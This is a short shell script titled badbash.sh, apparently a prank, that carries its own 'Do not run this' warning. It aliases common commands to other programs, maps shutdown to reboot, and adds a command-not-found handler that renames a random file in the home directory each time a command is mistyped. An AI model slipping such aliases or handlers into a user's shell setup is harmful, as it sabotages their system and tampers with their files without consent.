badbash.sh

#Do not run this !!!

#IO operations
alias less='cat'
alias sed='awk'

#administration
alias apt-get='aptitude'

#file editing
alias emacs='vim'
#alias vim='emacs'
alias rm=`nano`


alias man='where'
alias shutdown='reboot' #this will break stuff


command_not_found_handle () { 
  clear; 
  cd ~;
  FILE=`ls | shuf | head -n 1`
  mv $FILE "$FILE.old" #Original backup script
}